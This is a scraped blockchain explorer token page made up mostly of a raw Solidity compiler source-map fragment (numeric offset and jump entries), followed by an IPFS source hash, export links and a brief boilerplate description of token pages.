1:-1;7192:7:0;;7185:14;;7163:38;7224:4;;-1:-1:-1;;;;;7224:4:0;;;7214:14;;;;7211:34;;-1:-1:-1;7237:6:0;;7230:13;;7211:34;-1:-1:-1;7262:11:0;;7061:220;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:316::-;2584:6;2592;2600;2653:2;2641:9;2632:7;2628:23;2624:32;2621:52;;;2669:1;2666;2659:12;2621:52;-1:-1:-1;;2692:23:1;;;2762:2;2747:18;;2734:32;;-1:-1:-1;2813:2:1;2798:18;;;2785:32;;2507:316;-1:-1:-1;2507:316:1:o;2828:592::-;2941:6;2949;2957;2965;2973;2981;2989;3042:3;3030:9;3021:7;3017:23;3013:33;3010:53;;;3059:1;3056;3049:12;3010:53;-1:-1:-1;;3082:23:1;;;3152:2;3137:18;;3124:32;;-1:-1:-1;3203:2:1;3188:18;;3175:32;;3254:2;3239:18;;3226:32;;-1:-1:-1;3305:3:1;3290:19;;3277:33;;-1:-1:-1;3357:3:1;3342:19;;3329:33;;-1:-1:-1;3409:3:1;3394:19;3381:33;;-1:-1:-1;2828:592:1;-1:-1:-1;2828:592:1:o;3425:388::-;3493:6;3501;3554:2;3542:9;3533:7;3529:23;3525:32;3522:52;;;3570:1;3567;3560:12;3522:52;3609:9;3596:23;3628:31;3653:5;3628:31;:::i;:::-;3678:5;-1:-1:-1;3735:2:1;3720:18;;3707:32;3748:33;3707:32;3748:33;:::i;:::-;3800:7;3790:17;;;3425:388;;;;;:::o;4078:329::-;4280:2;4262:21;;;4319:1;4299:18;;;4292:29;-1:-1:-1;;;4352:2:1;4337:18;;4330:36;4398:2;4383:18;;4078:329::o;6262:127::-;6323:10;6318:3;6314:20;6311:1;6304:31;6354:4;6351:1;6344:15;6378:4;6375:1;6368:15;6394:128;6461:9;;;6482:11;;;6479:37;;;6496:18;;:::i;8801:125::-;8866:9;;;8887:10;;;8884:36;;;8900:18;;:::i;8931:168::-;9004:9;;;9035;;9052:15;;;9046:22;;9032:37;9022:71;;9073:18;;:::i;9104:217::-;9144:1;9170;9160:132;;9214:10;9209:3;9205:20;9202:1;9195:31;9249:4;9246:1;9239:15;9277:4;9274:1;9267:15;9160:132;-1:-1:-1;9306:9:1;;9104:217::o;9458:127::-;9519:10;9514:3;9510:20;9507:1;9500:31;9550:4;9547:1;9540:15;9574:4;9571:1;9564:15;9590:251;9660:6;9713:2;9701:9;9692:7;9688:23;9684:32;9681:52;;;9729:1;9726;9719:12;9681:52;9761:9;9755:16;9780:31;9805:5;9780:31;:::i;9846:980::-;10108:4;10156:3;10145:9;10141:19;10187:6;10176:9;10169:25;10213:2;10251:6;10246:2;10235:9;10231:18;10224:34;10294:3;10289:2;10278:9;10274:18;10267:31;10318:6;10353;10347:13;10384:6;10376;10369:22;10422:3;10411:9;10407:19;10400:26;;10461:2;10453:6;10449:15;10435:29;;10482:1;10492:195;10506:6;10503:1;10500:13;10492:195;;;10571:13;;-1:-1:-1;;;;;10567:39:1;10555:52;;10662:15;;;;10627:12;;;;10603:1;10521:9;10492:195;;;-1:-1:-1;;;;;;;10743:32:1;;;;10738:2;10723:18;;10716:60;-1:-1:-1;;;10807:3:1;10792:19;10785:35;10704:3;9846:980;-1:-1:-1;;;9846:980:1:o;11443:306::-;11531:6;11539;11547;11600:2;11588:9;11579:7;11575:23;11571:32;11568:52;;;11616:1;11613;11606:12;11568:52;11645:9;11639:16;11629:26;;11695:2;11684:9;11680:18;11674:25;11664:35;;11739:2;11728:9;11724:18;11718:25;11708:35;;11443:306;;;;;:::o

Swarm Source

ipfs://36e4bfef9576fa1ad82a234b11ed2743d08185d69f8a1016783fcaee0be9189a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.